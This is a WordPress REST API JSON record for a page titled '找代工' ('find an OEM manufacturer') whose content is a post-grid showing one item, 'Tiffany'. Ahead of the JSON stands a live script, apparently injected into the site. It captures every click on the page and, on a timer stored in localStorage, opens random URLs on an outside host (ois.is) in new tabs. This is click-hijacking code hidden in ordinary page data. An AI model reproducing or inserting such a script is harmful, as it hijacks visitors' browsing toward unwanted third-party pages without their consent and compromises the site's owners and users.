<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1614,"date":"2020-11-12T10:58:02","date_gmt":"2020-11-12T02:58:02","guid":{"rendered":"http:\/\/edu.secda.info\/digitoem\/?page_id=1614"},"modified":"2020-11-13T14:00:43","modified_gmt":"2020-11-13T06:00:43","slug":"%e6%89%be%e4%bb%a3%e5%b7%a5","status":"publish","type":"page","link":"https:\/\/edu.secda.info\/digitoem\/?page_id=1614","title":{"rendered":"\u627e\u4ee3\u5de5"},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-page\" data-elementor-id=\"1614\" class=\"elementor elementor-1614\" data-elementor-settings=\"[]\">\n\t\t\t\t\t\t<div class=\"elementor-inner\">\n\t\t\t\t\t\t\t<div class=\"elementor-section-wrap\">\n\t\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-1420d28 elementor-section-full_width elementor-section-height-default elementor-section-height-default\" data-id=\"1420d28\" data-element_type=\"section\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t\t\t<div class=\"elementor-row\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-ae0ef21\" data-id=\"ae0ef21\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-column-wrap elementor-element-populated\">\n\t\t\t\t\t\t\t<div class=\"elementor-widget-wrap\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-487cf9e elementor-grid-eael-col-3 elementor-grid-tablet-eael-col-2 elementor-grid-mobile-eael-col-1 elementor-widget elementor-widget-eael-post-grid\" data-id=\"487cf9e\" data-element_type=\"widget\" data-settings=\"{&quot;eael_post_grid_columns&quot;:&quot;eael-col-3&quot;,&quot;eael_post_grid_columns_tablet&quot;:&quot;eael-col-2&quot;,&quot;eael_post_grid_columns_mobile&quot;:&quot;eael-col-1&quot;}\" data-widget_type=\"eael-post-grid.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t<div id=\"eael-post-grid-487cf9e\" class=\"eael-post-grid-container\">\n            <div class=\"eael-post-grid eael-post-appender eael-post-appender-487cf9e eael-post-grid-style-default\" data-layout-mode=\"grid\"><article class=\"eael-grid-post eael-post-grid-column\" data-id=\"1595\">\n        <div class=\"eael-grid-post-holder\">\n            <div class=\"eael-grid-post-holder-inner\"><div class=\"eael-entry-media\"><div class=\"eael-entry-overlay fade-in\"><i class=\"fas fa-long-arrow-alt-right\" aria-hidden=\"true\"><\/i><a href=\"https:\/\/edu.secda.info\/digitoem\/?p=1595\"><\/a><\/div><div class=\"eael-entry-thumbnail\">\n                <img width=\"500\" height=\"707\" src=\"https:\/\/edu.secda.info\/digitoem\/wp-content\/uploads\/2020\/02\/tiffany-e1605154400523.png\" class=\"attachment-full size-full\" alt=\"\" loading=\"lazy\" \/>\n            <\/div>\n        <\/div><div class=\"eael-entry-wrapper\"><header class=\"eael-entry-header\"><h2 class=\"eael-entry-title\"><a\n                        class=\"eael-grid-post-link\"\n                        href=\"https:\/\/edu.secda.info\/digitoem\/?p=1595\"\n                        title=\"Tiffany\">Tiffany<\/a><\/h2><\/header><div class=\"eael-entry-content\">\n                        <div class=\"eael-grid-post-excerpt\"><a\n                            href=\"https:\/\/edu.secda.info\/digitoem\/?p=1595\"\n                            class=\"eael-post-elements-readmore-btn\"><\/a><\/div>\n                    <\/div><\/div><\/div>\n        <\/div>\n    <\/article><\/div>\n            <div class=\"clearfix\"><\/div>\n        <\/div>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"<p>Tiffany<\/p>\n","protected":false},"author":6,"featured_media":0,"parent":0,"menu_order":5,"comment_status":"closed","ping_status":"closed","template":"","meta":{"cybocfi_hide_featured_image":""},"_links":{"self":[{"href":"https:\/\/edu.secda.info\/digitoem\/index.php?rest_route=\/wp\/v2\/pages\/1614"}],"collection":[{"href":"https:\/\/edu.secda.info\/digitoem\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/edu.secda.info\/digitoem\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/digitoem\/index.php?rest_route=\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/digitoem\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1614"}],"version-history":[{"count":16,"href":"https:\/\/edu.secda.info\/digitoem\/index.php?rest_route=\/wp\/v2\/pages\/1614\/revisions"}],"predecessor-version":[{"id":1746,"href":"https:\/\/edu.secda.info\/digitoem\/index.php?rest_route=\/wp\/v2\/pages\/1614\/revisions\/1746"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/digitoem\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1614"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}